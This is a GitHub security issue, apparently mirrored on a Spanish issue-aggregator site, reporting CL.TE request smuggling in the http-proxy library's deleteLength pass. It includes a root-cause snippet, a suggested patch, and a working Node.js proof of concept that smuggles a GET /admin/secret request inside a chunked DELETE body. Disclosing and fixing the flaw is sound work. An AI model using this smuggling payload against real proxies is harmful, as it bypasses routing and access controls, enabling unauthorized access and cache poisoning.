Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057

Abierto
  • ¿Algo no está bien?
#1,721 1 comentario 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
3/5
Tiempo estimado
1-2 días
Aptitud para principiantes
72/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
javascript, node.js
Área
backend, networking, security

Línea de trabajo

Empieza por lib/http-proxy/passes/web-incoming.js y luego ejecuta la reproducción de keep-alive proporcionada para observar cómo llegan al backend la solicitud DELETE y la solicitud de request smuggling. Se considera terminado cuando el proxy ya no crea el framing conflictivo mostrado en el issue, mientras que las solicitudes DELETE y OPTIONS legítimas sin ninguno de los dos encabezados siguen funcionando de forma segura.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Summary

The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.

CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.

Affected

  • Package: http-proxy
  • Version: 1.18.1 (latest, released 2020-05-17)
  • All versions since v0.9.0

Root Cause

lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']) {
      req.headers['content-length'] = '0';
      delete req.headers['transfer-encoding'];
    }
},

Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).

Reproduction

const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');

const backend = http.createServer((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk.toString());
  req.on('end', () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end('OK');
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: 'http://127.0.0.1:9001',
    agent: httpAgent  // keep-alive required for smuggling
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
    const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';

    client.write(
      'DELETE /api HTTP/1.1\r\n' +
      'Host: localhost\r\n' +
      'Transfer-Encoding: chunked\r\n' +
      '\r\n' +
      smuggled.length.toString(16) + '\r\n' +
      smuggled +
      '\r\n0\r\n\r\n'
    );
  });
});

Output:

[BACKEND] DELETE /api
[BACKEND] GET /admin/secret  ← smuggled request parsed

Preconditions

  1. Proxy must use a keep-alive agent (default config uses Connection: close which prevents smuggling)
  2. Backend must reuse connections
  3. Attacker can send requests to the proxy

Impact

  • Request smuggling: arbitrary second request injected to backend
  • Access internal endpoints bypassing proxy routing
  • Session hijacking via shared connection context
  • Cache poisoning

Suggested Fix

Apply the same fix Next.js applied:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']
       && !req.headers['transfer-encoding']) {
      req.headers['content-length'] = '0';
      // Do NOT delete transfer-encoding
    }
},

References

  • CVE-2026-29057 (assigned to Next.js for this issue)
  • Next.js fix: only add Content-Length: 0 when both headers absent

Reported by: @Black1hp

Lenguaje dominante
JavaScript
Estrellas
14.1k
Forks
2k
Sin PR fusionados en 30 d

Preparar el entorno

Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de http-party/node-http-proxy

Todos los issues de http-party/node-http-proxy

Issues similares

Más issues de JavaScript

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.